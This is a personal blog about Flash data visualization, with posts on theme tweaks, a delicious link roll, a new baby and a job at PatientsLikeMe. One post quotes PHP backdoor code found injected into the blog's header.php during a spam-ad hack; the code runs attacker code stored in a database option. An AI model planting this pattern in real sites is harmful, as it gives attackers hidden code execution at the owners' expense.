— Forest and the Trees

About this site

I’ve been meaning to post about this for a while. But, looks like infosthetics beat me to it. I’ve been working at PatientsLikeMe for about a year – first consulting and now full time. PatientsLikeMe is a social media site for people w/ serious diseases. There are currently eight main disease communities: ALS, Epilepsy, Fibromyalgia and Chronic Fatigue System, HIV/AIDS, Mood Conditions (Anxiety, Bipolar, Depression, OCD, PTSD), MS, Parkinson’s, and Organ Transplants. I’m making charts. It’s awesome. I really believe we’re making a difference in people’s lives and contributing to medical discovery. Please take a look at the very nice infosthetics post about us to learn more. I’ll try to start posting more about what we’re doing soon.

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This site got hacked. Hidden ads for Lorazepam – which means I get bumped from Google for a month. Arghh. Offending code was

< ?php $wp_headers() ?> and

< ?php /* Don't remove this line. */ wp_head(); $wp_headers = create_function('', get_option("blog_headers")); ?>

In header.php in my theme directory.

Anyway – changed passwords, etc. Now hopefully the spam comments will stop. We’ll see how the new captcha works

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anti-blogging weapon
Happy New Year! Well, the best thing to happen to me last year is pictured above. Adrienne and I had our first kid (Clara) almost four months ago. Clara’s great. But, don’t be mislead by the cuteness, she’s actually an anti-blogging weapon. She is why this blog has pretty much sucked for the past 4 months. But, New Year’s means resolutions – so in addition to losing my pregnancy weight – I will blog once a week for 2007. We’ll see how long that lasts – but, I’m going to try.

2006 was a great year for me – hope everyone else had a good one as well.

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Another post about the links (yes, I know, boring). The links page is finally organized. Well, organized enough to live with.

I want to point out two really nice swfs that were released in the last couple of days…

An art history color palette analyzer. I think this is really great and the kind of stuff I was looking forward to seeing with Flash 8 – by Dr. Woohoo.

And Jonathon Harris has created another great piece – phylotaxis – made for Seed Magazine, which I never heard of and enjoyed reading.

I will now stop writing about this site.

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Only a week late. The blog is really taking off. From now on please go to the LINKS page for all your Flash Data Visualization needs.

Why a new page? I was going nuts trying to figure out how to keep the links up to date. I was keeping track of them using delicious. That has a public API, so copying and pasting into Word Press seemed kind of stupid. I poked around and delicious has a handy “link roll” section in their help. It will generate the JavaScript necessary to return a list of your links. So, I added a special tag for the blog, added additional category tags, set up a few link rolls, pasted the JavaScript into WordPress, and now I can add a link by bookmarking in delicious. Nice and easy.

I still need to organize the links better. I’ve only added descriptions and ordering to the first set of tags. And I need to figure out what to do with the regular blog links. (And I need to fix that Theme which I stupidly only made look good for the home page.)

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I don’t love it – but, I can live with it. I messed around with the Blix theme and made it more plain. As I don’t know squat about CSS or PHP, it was a rather haphazard endeavor and I will probably change the colors soon. I’ve been meaning to learn some CSS and PHP so, if nothing else, it got me started. Tomorrow, I clean up the links.

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My first blog entry is on my wife Adrienne’s birthday. Love, birth, Flash, data visualization – all in one post – auspicious.

Why another Flash blog? Well, this one’s going to be on data visualization – basically fancy interactive charts and graphs made with Flash.

Why charts and graphs? A few reasons…

  1. Data visualization can make the world a better place. Really.
  2. I spoke at the MAX conference this year and people expressed interest in this type of work. That interest is what finally got me blogging. Thanks.
  3. The most interesting thing going on right now in computers is Web2.0. Currently, most of the interesting visualization work is being done using Ajax. I think (hope) Flash will play a bigger role in visualizing Web2.0 data. Ajax, as great as it is, can only take you so far.

What will be here? Links to Flash data sites, ActionScript code, thoughts on data design, some Web2.0.

Any guidelines? Only links to Flash data work. For Ajax stuff, check out Programmable Web’s huge list of mashups.

Why forest and the trees? Good visualizations allow users to see both overviews and and specific details of data sets. Great ones allow you to move seemlessly between the two (think Google Earth).

What about Flex? Flex is Flash. It’s included. I like Flex.

Coming soon… a theme, better link organization.

Happy Birthday Adrienne!!!

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